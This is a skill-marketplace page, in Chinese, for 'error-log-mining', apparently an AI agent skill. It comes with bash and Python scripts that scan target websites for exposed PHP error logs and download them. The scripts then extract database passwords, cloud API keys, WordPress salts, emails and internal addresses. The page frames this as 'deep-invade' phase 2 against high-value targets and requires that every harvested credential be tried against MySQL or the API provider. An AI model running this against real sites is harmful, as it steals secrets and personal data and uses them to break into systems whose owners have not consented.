mcpField
E
error-log-mining

error-log-mining

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 error-log-mining

面向授权安全测试人员的技能,用于发现并分析可访问的 PHP error_log。它通过有界采样和内容验证提取服务器路径、数据库错误及潜在敏感信息。

主要功能

  1. 01探测常见错误日志路径
  2. 02对大型日志进行有界采样
  3. 03提取路径、邮件和密钥线索
  4. 04识别 SQL 片段与 PHP 错误
  5. 05交叉核对日志发现

适用场景

  1. 01评估授权目标暴露的错误日志
  2. 02从日志提取服务器与数据库线索
  3. 03检查日志中的潜在凭据和个人信息

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill error-log-mining

安装后在 Claude Code 中输入/error-log-mining确认已加载。

附带文件scripts/mine_error_log.py

详细介绍

错误日志挖掘技能

发现并分析暴露的 PHP error_log 文件,查找服务器路径、数据库错误、SQL 片段、可能的 API 密钥、电子邮件地址和内部地址。收集有限样本并验证其中内容的敏感性,而不是根据文件大小或状态推断影响。

使用时机

  • 对高价值目标运行 deep-invade 第 2 阶段。
  • skill_view(name='source-leak-hunt') 找到了一个 HTTP 200 的 error_log 文件。
  • 目标使用 PHP(WordPress、Laravel、自定义 PHP),并且可能启用了 display_errors。
  • 尝试利用之前需要服务器端上下文(路径、数据库结构)。

前提条件

  • 配备 curl、grep 和 python3 的 terminal。
  • 目标 URL 上可能存在位于常见路径的 error_log。
  • 磁盘空间:错误日志可能达到数 GB。对于大型文件,请使用 curl -r 进行范围请求。

运行方法

TARGET="https://example.com"

# Paths to probe
for path in "error_log" "wp-content/debug.log" "debug.log" "errors.log" \
  "php_errors.log" "wp-content/error.log" "logs/error.log"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
  [[ "$code" == "200" ]] && echo "FOUND: $TARGET/$path"
done

# Download and analyze
curl --max-time 30 --connect-timeout 10 -sk "$TARGET/error_log" -o error_log.txt
python3 analyze_log.py error_log.txt

快速参考

提取目标Python 正则表达式值
服务器路径re.findall(r'/home/[^\s:)]+', txt)完整目录结构
电子邮件地址re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)管理员邮箱
数据库凭据DB_USER[^=]*=[\s'\"]*([^'\";\s]+) DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+) DB_HOST[^=]*=[\s'\"]*([^'\";\s]+) DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)数据库访问权限
API 密钥sk-[a-zA-Z0-9]{20,60} AIza[0-9A-Za-z_-]{35} AKIA[0-9A-Z]{16} eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}Stripe、Google、AWS、JWT
SQL 查询(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}数据库架构、表名
WordPress 盐值(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+会话劫持可能性
PHP 错误类型Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)错误分类
日期范围re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)日志时效性

操作步骤

步骤 1 — 查找错误日志位置
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
mkdir -p "$OUTDIR"

echo "[*] Probing common error log paths on $TARGET..."

ERROR_LOG_PATHS=(
  "error_log"
  "wp-content/debug.log"
  "debug.log"
  "errors.log"
  "php_errors.log"
  "wp-content/error.log"
  "logs/error.log"
  "log/error.log"
  "tmp/php-errors.log"
  "wp-content/plugins/debug.log"
  "wp-content/themes/debug.log"
)

FOUND_LOGS=()

for path in "${ERROR_LOG_PATHS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    # Quick content check to avoid SPA false positives
    sample=$(curl -sk --max-time 5 --connect-timeout 5 -r 0-500 "https://$TARGET/$path" 2>/dev/null)
    if echo "$sample" | grep -qiE 'PHP|Error|Warning|Stack trace|\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4}'; then
      echo "[FOUND] https://$TARGET/$path"
      FOUND_LOGS+=("https://$TARGET/$path")
    fi
  fi
  sleep 0.3
done

echo "[+] Found ${#FOUND_LOGS[@]} error log(s)"
步骤 2 — 下载并采样大型日志
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"

for url in "${FOUND_LOGS[@]}"; do
  fname=$(echo "$url" | sed 's|https\?://||' | sed 's|/|_|g')

  echo "[*] Downloading $url..."

  # First, check file size
  size=$(curl -skI --max-time 10 --connect-timeout 10 "$url" 2>/dev/null | grep -i "content-length" | awk '{print $2}' | tr -d '\r')

  if [[ -n "$size" && "$size" -gt 10000000 ]]; then
    echo "  Large file (${size} bytes) — sampling first 5MB..."
    curl -sk --max-time 30 --connect-timeout 10 -r 0-5000000 "$url" -o "$OUTDIR/${fname}_sample.txt" 2>/dev/null
  elif [[ -n "$size" && "$size" -gt 1000000 ]]; then
    echo "  Medium file (${size} bytes) — downloading full..."
    curl -sk --max-time 30 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
  else
    echo "  Small file — downloading full..."
    curl -sk --max-time 15 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
  fi
  sleep 0.5
done
步骤 3 — 提取情报
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"

for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
  [[ ! -f "$logfile" ]] && continue

  echo ""
  echo "═══════════ $(basename "$logfile") ═══════════"
  echo ""

  # 1. Server Paths
  echo "[SERVER PATHS]"
  grep -Eo '(/[a-zA-Z0-9_/.-]+\.php)' "$logfile" 2>/dev/null | sort -u | head -20

  # 2. Email Addresses
  echo ""
  echo "[EMAIL ADDRESSES]"
  grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$logfile" 2>/dev/null | sort -u | head -15

  # 3. Database Credentials
  echo ""
  echo "[DB CREDENTIALS & CONNECTIONS]"
  grep -iE 'mysql_connect|mysqli_connect|new PDO|pg_connect|DB_HOST|DB_USER|DB_PASSWORD|DB_NAME|database.*password|dsn.*mysql' "$logfile" 2>/dev/null | head -10

  # 4. SQL Queries
  echo ""
  echo "[SQL QUERIES]"
  grep -iE '(SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE|DROP TABLE).*(FROM|INTO|SET)' "$logfile" 2>/dev/null | head -10

  # 5. API Keys & Tokens
  echo ""
  echo "[API KEYS & TOKENS]"
  grep -iE 'api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|bearer [A-Za-z0-9_\-]{20,}|sk-[A-Za-z0-9]{20,}|key=[A-Za-z0-9]{20,}' "$logfile" 2>/dev/null | head -10

  # 6. Internal IPs
  echo ""
  echo "[INTERNAL IPs]"
  grep -Eo '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}' "$logfile" 2>/dev/null | sort -u | head -10

  # 7. WordPress specific
  echo ""
  echo "[WORDPRESS PATHS]"
  grep -Eo '/wp-content/(?:plugins|themes|uploads)/[a-zA-Z0-9_/.-]+' "$logfile" 2>/dev/null | sort -u | head -15

  # 8. PHP Error Summary
  echo ""
  echo "[ERROR SUMMARY]"
  echo "  Fatal errors:    $(grep -ci 'Fatal error' "$logfile" 2>/dev/null || echo 0)"
  echo "  Warnings:        $(grep -ci 'Warning' "$logfile" 2>/dev/null || echo 0)"
  echo "  Notices:         $(grep -ci 'Notice' "$logfile" 2>/dev/null || echo 0)"
  echo "  Parse errors:    $(grep -ci 'Parse error' "$logfile" 2>/dev/null || echo 0)"
  echo "  Deprecated:      $(grep -ci 'Deprecated' "$logfile" 2>/dev/null || echo 0)"
  echo "  Stack traces:    $(grep -ci 'Stack trace' "$logfile" 2>/dev/null || echo 0)"

  # 9. Date Range
  echo ""
  echo "[DATE RANGE]"
  first=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | head -1)
  last=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | tail -1)
  [[ -n "$first" ]] && echo "  First: $first"
  [[ -n "$last" ]] && echo "  Last:  $last"

  # 10. Plugin/Theme Names from Paths
  echo ""
  echo "[PLUGINS FROM ERRORS]"
  grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -20

  echo ""
  echo "[THEMES FROM ERRORS]"
  grep -Eo '/wp-content/themes/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -10
  sleep 0.3
done
步骤 4 — 提取可操作情报
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
SUMMARY="$OUTDIR/intel_summary.md"

cat > "$SUMMARY" << EOF
# Error Log Intelligence — $TARGET

## Credentials Found
EOF

for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
  [[ ! -f "$logfile" ]] && continue

  # DB credentials
  grep -iE 'DB_HOST|DB_USER|DB_PASSWORD|DB_NAME' "$logfile" 2>/dev/null | while read -r line; do
    echo "- $line" >> "$SUMMARY"
  done

  # API keys
  grep -iE 'api[_-]?key.*=|api[_-]?secret.*=|access[_-]?token.*=' "$logfile" 2>/dev/null | while read -r line; do
    echo "- $line" >> "$SUMMARY"
  done
done

echo "" >> "$SUMMARY"
echo "## Server Paths" >> "$SUMMARY"
grep -Eo '/[a-zA-Z0-9_/.-]+\.php' "$OUTDIR"/*.txt 2>/dev/null | sort -u | head -30 | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo "" >> "$SUMMARY"
echo "## Email Addresses" >> "$SUMMARY"
grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo "" >> "$SUMMARY"
echo "## Plugins Discovered" >> "$SUMMARY"
grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
  echo "- $line" >> "$SUMMARY"
done

echo ""
echo "[+] Intelligence summary saved to $SUMMARY"
步骤 5 — 与其他发现交叉比对
# Does error log reveal the DB name? Cross-ref with wp-config leak
DB_NAME=$(grep -Eo 'DB_NAME["\x27\s:=]+["\x27][a-zA-Z0-9_]+' $OUTDIR/error_logs/*/intel_summary.md 2>/dev/null)
echo "DB name from logs: $DB_NAME"

# Does it reveal internal hostnames?
HOSTNAMES=$(grep -Eo '(?:[a-zA-Z0-9-]+\.(?:internal|local|lan|corp|priv))' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$HOSTNAMES" ]] && echo "Internal hostnames:" && echo "$HOSTNAMES"

# Are there file inclusion paths that indicate LFI potential?
LFI_PATHS=$(grep -Eo '(?:include|require|include_once|require_once)\s*\(\s*[\x27"]([^\x27"]+\.php)' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$LFI_PATHS" ]] && echo "Potential LFI paths:" && echo "$LFI_PATHS"

有限日志挖掘器

import re
from collections import Counter

def mine_error_log(txt):
    results = {}

    # Server paths
    results['paths'] = sorted(set(re.findall(r'/home/[^\s:)]+', txt)))[:20]

    # Email addresses
    results['emails'] = sorted(set(re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)))[:20]

    # DB credentials (4 patterns extracted from php error context)
    db_creds = set()
    for pat in [r"DB_USER[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)",
                r"DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)"]:
        for m in re.findall(pat, txt): db_creds.add(m)
    results['db_creds'] = sorted(db_creds)

    # API keys (5 pattern classes — all extracted from error context)
    api_keys = set()
    for pat in [r'sk-[a-zA-Z0-9]{20,60}',           # Stripe
                r'AIza[0-9A-Za-z_-]{35}',            # Google
                r'AKIA[0-9A-Z]{16}',                  # AWS IAM
                r'pk_[a-zA-Z0-9]+',                   # Publishable keys
                r'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}']:  # JWT
        for m in re.findall(pat, txt): api_keys.add(m)
    results['api_keys'] = sorted(api_keys)[:10]

    # SQL queries
    results['sql_queries'] = re.findall(
        r'(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}',
        txt, re.I)[:10]

    # WordPress salts (session hijack potential)
    results['wp_salts'] = re.findall(
        r"(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+",
        txt)

    # Error type breakdown
    results['error_types'] = Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)

    # Date range
    dates = re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)
    if dates:
        results['date_range'] = f"{dates[0]} to {dates[-1]} ({len(set(dates))} unique dates)"

    return results

注意事项

  • 错误日志可能非常大。 下载前检查 Content-Length,并使用有限范围(例如 curl -r 0-5000000)获取初始样本。
  • 日志可能包含个人身份信息。 错误日志中的电子邮件地址、IP 和用户名可能构成数据泄露。请负责任地处理。
  • 日志轮转可能导致日志被截断。 可见的 error_log 可能只包含近期条目。检查是否存在轮转日志(error_log.1、error_log.old、error_log-YYYYMMDD)。
  • 有些主机会返回无关内容。 /error_log 返回 200 可能是自定义 404 页面或 SPA 通配回退页。分析前务必检查内容是否包含 PHP 加错误类型的模式。
  • 旧日志 ≠ 当前漏洞。 2013 年的错误日志并不意味着当前站点存在漏洞。请根据服务器技术栈交叉核对日志时间线。

验证

  • 错误日志必须包含 PHP 错误模式([date] PHP Warning:、Stack trace:、Fatal error:)才算有效。
  • 必须测试提取出的每个凭据是否有效(尝试连接 MySQL、验证 API 密钥)。
  • 服务器路径必须与已知目录结构相符(例如 /home/user/public_html/)。
  • 在报告中记录错误日志 URL、文件大小、日期范围和关键发现。
  • 错误日志中的 API 密钥几乎总是生产密钥(与通常受限的 JS 包密钥不同)。

评论

支持 Markdown